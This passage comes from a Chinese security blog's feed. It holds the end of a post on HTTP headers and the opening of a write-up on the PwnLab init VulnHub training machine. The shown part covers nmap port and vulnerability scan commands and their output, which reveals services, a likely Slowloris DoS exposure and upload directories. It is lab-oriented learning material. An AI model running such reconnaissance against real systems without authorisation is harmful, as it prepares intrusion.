&lt;li&gt;​&lt;strong&gt;​缓存机制利用​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ETag&lt;/code&gt; 和 &lt;code&gt;Last-Modified&lt;/code&gt; 可用于构造条件请求，探测资源是否更新。&lt;/li&gt;
&lt;li&gt;若返回 &lt;code&gt;304 Not Modified&lt;/code&gt;，可能节省攻击流量。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​压缩与编码​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Content-Encoding: gzip&lt;/code&gt; 需先解压再分析响应内容。&lt;/li&gt;
&lt;li&gt;工具如 Burp Suite 自动处理压缩数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day21 PwnLab init靶场WP</title><link>https://ruajingjing.top/post/day21-pwnlab-init%E9%9D%B6%E5%9C%BAwp/</link><pubDate>Fri, 25 Jul 2025 23:45:31 +0000</pubDate><guid>https://ruajingjing.top/post/day21-pwnlab-init%E9%9D%B6%E5%9C%BAwp/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day21 PwnLab init靶场WP" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;官网打开或链接地址下载虚拟镜像：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250724150629285" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250724150629285.png"&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://www.vulnhub.com/entry/pwnlab-init,158/" target="_blank" rel="noopener"
 &gt;https://www.vulnhub.com/entry/pwnlab-init,158/&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;PwnLab是古早的退役机器，通过这个机器的练习，可以认识OSCP入门的基本难度。&lt;/p&gt;
&lt;h2 id="信息收集"&gt;信息收集
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 靶机地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;172.168.169.143
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Kali攻击机地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;172.168.169.141
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="扫描端口"&gt;扫描端口
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;ports&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;sudo nmap -p- --min-rate&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;5000&lt;/span&gt; -Pn 172.168.169.143 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s1"&gt;&amp;#39;^[0-9]&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;,&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sed s/,$//&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 172.168.169.143
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 172.168.169.143
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;扫描结果如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;└─$ &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;80,111,3306,46298
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 172.168.169.143
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2025-07-23 08:33 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; 172.168.169.143
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.0019s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http Apache httpd 2.4.10 &lt;span class="o"&gt;((&lt;/span&gt;Debian&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-server-header: Apache/2.4.10 &lt;span class="o"&gt;(&lt;/span&gt;Debian&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-title: PwnLab Intranet Image Hosting
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;111/tcp open rpcbind 2-4 &lt;span class="o"&gt;(&lt;/span&gt;RPC &lt;span class="c1"&gt;#100000)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; rpcinfo:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; program version port/proto service
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;100000&lt;/span&gt; 2,3,4 111/tcp rpcbind
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;100000&lt;/span&gt; 2,3,4 111/udp rpcbind
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;100000&lt;/span&gt; 3,4 111/tcp6 rpcbind
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;100000&lt;/span&gt; 3,4 111/udp6 rpcbind
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;100024&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt; 46298/tcp status
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;100024&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt; 47125/udp status
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;100024&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt; 56014/udp6 status
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ &lt;span class="m"&gt;100024&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt; 59462/tcp6 status
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;3306/tcp open mysql MySQL 5.5.47-0+deb8u1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; mysql-info:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Protocol: &lt;span class="m"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Version: 5.5.47-0+deb8u1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Thread ID: &lt;span class="m"&gt;44&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Capabilities flags: &lt;span class="m"&gt;63487&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Some Capabilities: DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, FoundRows, Support41Auth, Speaks41ProtocolOld, LongPassword, ODBCClient, SupportsTransactions, SupportsCompression, InteractiveClient, Speaks41ProtocolNew, LongColumnFlag, ConnectWithDatabase, SupportsLoadDataLocal, IgnoreSigpipes, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Status: Autocommit
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Salt: r&lt;span class="s2"&gt;&amp;#34;OEN9pLgCWm&amp;gt;-c0`vRt
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;|_ Auth Plugin Name: mysql_native_password
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;46298/tcp open status 1 (RPC #100024)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;MAC Address: 00:0C:29:D8:39:9C (VMware)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;Device type: general purpose
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;Running: Linux 3.X|4.X
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;OS details: Linux 3.2 - 4.14
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;Network Distance: 1 hop
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;Nmap done: 1 IP address (1 host up) scanned in 15.36 seconds
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;┌──(kali㉿kali)-[~/Desktop]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;└─&lt;/span&gt;$&lt;span class="s2"&gt; sudo nmap --script=vuln -p&lt;/span&gt;&lt;span class="nv"&gt;$ports&lt;/span&gt;&lt;span class="s2"&gt; -Pn 172.168.169.143
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-23 08:34 EDT
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;Nmap scan report for 172.168.169.143
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;Host is up (0.00098s latency).
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;54&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;PORT STATE SERVICE
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;55&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;80/tcp open http
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;56&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;|_http-dombased-xss: Couldn&amp;#39;t find any DOM based XSS.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;57&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;| http-internal-ip-disclosure:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;58&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;|_ Internal IP Leaked: 127.0.1.1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;59&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;| http-cookie-flags:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;60&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;| /login.php:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;61&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;| PHPSESSID:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;62&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;|_ httponly flag not set
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;63&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;64&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;|_http-stored-xss: Couldn&amp;#39;t find any stored XSS vulnerabilities.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;65&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;| http-csrf:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;66&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=172.168.169.143
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;67&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;| Found the following possible CSRF vulnerabilities:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;68&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;|
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;69&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;| Path: http://172.168.169.143:80/?page=login
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;70&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;| Form id: user
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;71&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;|_ Form action:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;72&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;| http-slowloris-check:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;73&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;| VULNERABLE:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;74&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;| Slowloris DOS attack
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;75&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;| State: LIKELY VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;76&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;| IDs: CVE:CVE-2007-6750
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;77&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;| Slowloris tries to keep many connections to the target web server open and hold
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;78&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;| them open as long as possible. It accomplishes this by opening connections to
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;79&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;| the target web server and sending a partial request. By doing so, it starves
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;80&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;| the http server&amp;#39;s resources causing Denial Of Service.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;81&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;|
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;82&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;| Disclosure date: 2009-09-17
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;83&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;| References:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;84&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;| http://ha.ckers.org/slowloris/
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;85&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;86&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;| http-enum:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;87&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;| /login.php: Possible admin folder
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;88&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;| /images/: Potentially interesting directory w/ listing on &amp;#39;apache/2.4.10 (debian)&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;89&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;|_ /upload/: Potentially interesting directory w/ listing on &amp;#39;apache/2.4.10 (debian)&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;90&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;111/tcp open rpcbind
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;91&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;3306/tcp open mysql
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;92&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;46298/tcp open unknown
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;93&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;MAC Address: 00:0C:29:D8:39:9C (VMware)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;94&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;95&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;Nmap done: 1 IP address (1 host up) scanned in 321.76 seconds
